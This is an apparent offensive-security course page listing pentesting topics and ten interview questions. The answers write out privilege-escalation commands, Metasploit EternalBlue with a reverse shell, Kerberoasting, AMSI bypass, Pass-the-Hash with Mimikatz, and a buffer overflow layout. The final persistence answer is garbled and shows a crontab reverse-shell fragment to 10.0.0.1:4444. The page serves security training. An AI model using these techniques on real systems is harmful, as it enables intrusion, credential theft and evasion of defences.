Offensive Security
Think like an attacker to break systems before the bad actors do. Penetration testing, exploitation, privilege escalation, and CTF techniques — the red team discipline that makes all defensive security grounded in reality.
Intermediate
Penetration Testing
Methodical system compromise — reconnaissance, scanning, exploitation, and reporting. The full ethical hacking lifecycle.
Intermediate
Kali Linux
The industry-standard OS for security professionals. Pre-loaded with every major offensive security tool.
Advanced
Metasploit
The world's most used penetration testing framework. Exploit modules, payloads, and post-exploitation.
Advanced
Privilege Escalation
Moving from low-privilege access to root or admin. Linux and Windows escalation techniques used in real engagements.
Intermediate
CTF Techniques
Capture the Flag strategies — binary exploitation, steganography, cryptography challenges, and web flags.
Interview Scenarios
Real-world questions for Offensive Security
1If you gain a low-privilege www-data shell on a Linux server, how do you systematically enumerate for Privilege Escalation to root?
1. Sudo Check: Run
sudo -l to check for commands allowed without a password. 2. SUID Executables: Run find / -perm -4000 -type f 2>/dev/null and check GTFOBins for SUID escalation vectors (e.g. find, vim, env). 3. Cron Jobs & Capabilities: Inspect /etc/crontab, /etc/cron.d/, and run getcap -r / 2>/dev/null. 4. Environment & Kernels: Run uname -a to check kernel version against known local privilege escalation exploits (Dirty COW, PTRACE).2How do you execute an EternalBlue (MS17-010) exploit in Metasploit and handle payload architecture mismatches?
In msfconsole:
use exploit/windows/smb/ms17_010_eternalblue, set RHOSTS , set PAYLOAD windows/x64/meterpreter/reverse_tcp, set LHOST , run exploit. If payload fails due to architecture, check if target is x86 or x64 using smb_version scanner and match the architecture accordingly.3How do you execute a Kerberoasting attack in Active Directory to extract service account password hashes?
1. Enumerate SPNs: Request Service Principal Names (SPNs) for domain user accounts using Impacket's
GetUserSPNs.py or PowerShell Get-NetUser -SPN. 2. Request TGS: Request Kerberos TGS tickets encrypted with the service account's NTLM hash. 3. Crack Hash: Extract the ticket hashes and crack them offline using Hashcat (hashcat -m 13100 hashes.txt wordlist.txt). Remediation: Enforce AES encryption for Kerberos and enforce 25+ character passwords for service accounts.4How do you bypass AMSI (Antimalware Scan Interface) when launching obfuscated PowerShell reverse shells on Windows?
Execute memory-patching techniques in PowerShell to patch the
AmsiScanBuffer DLL function, setting its return code to S_OK (0x0) before loading malicious scripts, or use base64-encoded launchers with variable obfuscation and string concatenation to avoid static signature detection.5How do you perform a Pass-the-Hash (PtH) attack to move laterally across Windows Domain hosts?
Extract NTLM hashes from memory using Mimikatz (
sekurlsa::logonpasswords) or LSASS dumps, then execute remote commands on target hosts using Impacket's pth-exec or wmiexec.py passing the user NTLM hash (wmiexec.py -hashes : Administrator@ ) without needing plaintext passwords.6How do you escalate privileges using Linux File Capabilities (cap_setuid)?
Enumerate capabilities using
getcap -r / 2>/dev/null. If a binary like Python or Perl has cap_setuid+ep set, execute a root shell payload (e.g. 'python3 -c "import os; os.setuid(0); os.system(/bin/bash)"') to elevate to UID 0.7How do you extract hidden data payloads embedded inside image assets in CTF challenges?
1. Inspection: Check file metadata with
exiftool image.png and file structure with file and strings. 2. Extraction: Use steghide extract -sf image.jpg for passphrase-protected AES data, or use binwalk -e image.png and zsteg for hidden LSB (Least Significant Bit) payload extraction.8How do you exploit a stack-based Buffer Overflow vulnerability to gain shell code execution?
1. Offset Discovery: Generate a unique pattern (
pattern_create.rb -l 500), inject it into the input buffer, and find the EIP/RIP offset when EIP is overwritten. 2. JMP ESP: Locate an executable module address containing a JMP ESP instruction without bad characters (e.g. \x00). 3. Payload: Construct a buffer payload: [PADDING] + [JMP ESP ADDRESS] + [NOP SLED] + [SHELLCODE].9How do you execute an AS-REP Roasting attack against Active Directory accounts?
Identify AD user accounts that have the
Do not require Kerberos preauthentication flag set (DONT_REQ_PREAUTH) using Impacket's GetNPUsers.py. Extract the encrypted AS-REP response and crack the NTLM hash offline using Hashcat mode 18200.10How do you establish persistence on a compromised Linux host using stealth web shells and crontab backdoors?
1. Web Shell: Insert a hidden PHP shell inside an existing framework system file (e.g.
10.0.0.1/4444 0>&1'") | crontab -').